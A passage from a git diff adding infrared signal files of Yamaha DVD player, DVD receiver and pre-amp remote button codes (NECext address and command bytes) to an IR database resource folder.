00 00 +command: 9D 00 00 00 +# +name: INPUT:_CD-R/MD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D0 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DE 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir new file mode 100644 index 000000000..7bb2c1962 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 81 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: AMP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: ABCDE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir new file mode 100644 index 000000000..8180b9f41 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: INPUT:_VCR +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: INPUT:_DVD/CD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4D 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: YPAO_-_TEST +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 86 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 87 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 88 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 88 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 90 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 90 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9A 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: YPAO_-_START +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A3 00 00 00 +# +name: YPAO_-_ON/OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A4 00 00 00 +# +name: DSP_-_MOVIE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D9 00 00 00 +# +name: DSP_-_MUSIC +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DA 00 00 00 +# +name: DSP_-_SPORTS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DB 00 00 00 +# +name: DSP_-_GAME +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DC 00 00 00 +# +name: INPUT:_VIDEO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir new file mode 100644 index 000000000..afea315c8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: SCAN_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A7 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir new file mode 100644 index 000000000..773c6d025 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir @@ -0,0 +1,1022 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER:_TOGGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: FUNCTN:_OPEN/CLOSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 81 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 81 00 00 00 +# +name: FUNCTN:_PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: FUNCTN:_PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: FUNCTN:_STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: FUNCTN:_SEARCH- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH/SLOW_REV +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_REV +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: FUNCTN:_SEARCH+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SEARCH/SLOW_FWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SEARCH_FWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: FUNCTN:_DISC_SKIP- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8A 00 00 00 +# +name: FUNCTN:_DISC_SKIP+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8B 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8B 00 00 00 +# +name: NUMERIC:_0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: NUMERIC:_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: NUMERIC:_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: NUMERIC:_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: NUMERIC:_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: NUMERIC:_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: NUMERIC:_6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: NUMERIC:_7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: NUMERIC:_8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: NUMERIC:_9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: NUMERIC:_+10/_>10 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: PROG:_CANCEL/CLEAR +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: CANCEL/CLEAR +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: PROG:_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A0 00 00 00 +# +name: PROG:_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A1 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A1 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A1 00 00 00 +# +name: PROG:_REPEAT_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: REPEAT_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: PROG:_REPEAT_A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: SET:_DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: OSD_TOG +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: SET:_TIME +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A8 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A8 00 00 00 +# +name: SET:_DIMMER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A9 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A9 00 00 00 +# +name: SET:_SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AB 00 00 00 +# +name: SUBTITLE_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AB 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AC 00 00 00 +# +name: SET:_SETUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AC 00 00 00 +# +name: SET:_AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: SET:_ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AE 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AE 00 00 00 +# +name: FUNCTN:_TOP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: TOP_MENU/RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: TOP_MENU/_DIR.NAV. +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: TOP_MENU/_RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: FUNCTN:_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: FUNCTN:_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: FUNCTN:_CURSOR_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: FUNCTN:_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: FUNCTN:_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: FUNCTN:_RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: FUNCTN:_SELECT/ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: ENTER/OK +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: FUNCTN:_SKIP- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP/SEARCH_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP_REV +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP/SEARCH_REV +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: FUNCTN:_SKIP+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP/SEARCH_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP/SEARCH_FWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: PLAY_MODE:_TOG +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BD 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: C0 00 00 00 +# +name: VIDEO_RESET +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: C1 00 00 00 +# +name: SKIP_SEARCH +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: C2 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: C3 00 00 00 +# +name: POP-UP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: CF 00 00 00 +# +name: SUB_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D0 00 00 00 +# +name: FUNCTN:_DISC_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D1 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D1 00 00 00 +# +name: FUNCTN:_DISC_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D2 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D2 00 00 00 +# +name: FUNCTN:_DISC_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D3 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D3 00 00 00 +# +name: FUNCTN:_DISC_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D4 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D4 00 00 00 +# +name: FUNCTN:_DISC_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D5 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D5 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D7 00 00 00 +# +name: SET:_MARKER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D8 00 00 00 +# +name: SET:_VIDEO_TOGGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: PURE_DIRECT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: AUDIO_DIRECT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: SET:_PROGRESSIVE_TOG +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DA 00 00 00 +# +name: SET:_GROUP_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DD 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DE 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DF 00 00 00 +# +name: SET:_PAGE_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DF 00 00 00 +# +name: SET:_PLAYER_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E0 00 00 00 +# +name: SET:_MULTI/2CH +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E1 00 00 00 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E1 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E2 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E4 00 00 00 +# +name: VIDEO_SELECT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E5 00 00 00 +# +name: FUNCTIONS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E8 00 00 00 +# +name: A_(RED) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E9 00 00 00 +# +name: B_(GREEN) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EA 00 00 00 +# +name: C_(BLUE) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EB 00 00 00 +# +name: D_(YELLOW) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EC 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: ED 00 00 00 +# +name: SECONDARY_AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EE 00 00 00 +# +name: BD/SD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EF 00 00 00 +# +name: PLAY_MODE:_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAY_MODE_-_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAYMODE_-_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAY_MODE:_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAY_MODE_-_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAYMODE_-_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAY_MODE:_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: PLAY_MODE_-_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: PLAYMODE_-_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: PROG:_REPEAT_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F3 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F3 00 00 00 +# +name: PROG:_REPEAT_ALL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F5 00 00 00 +# +name: REPEAT_ALL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F5 00 00 00 +# +name: POWER:_ON +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F6 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F6 00 00 00 +# +name: POWER:_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F7 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir new file mode 100644 index 000000000..899a5efda --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 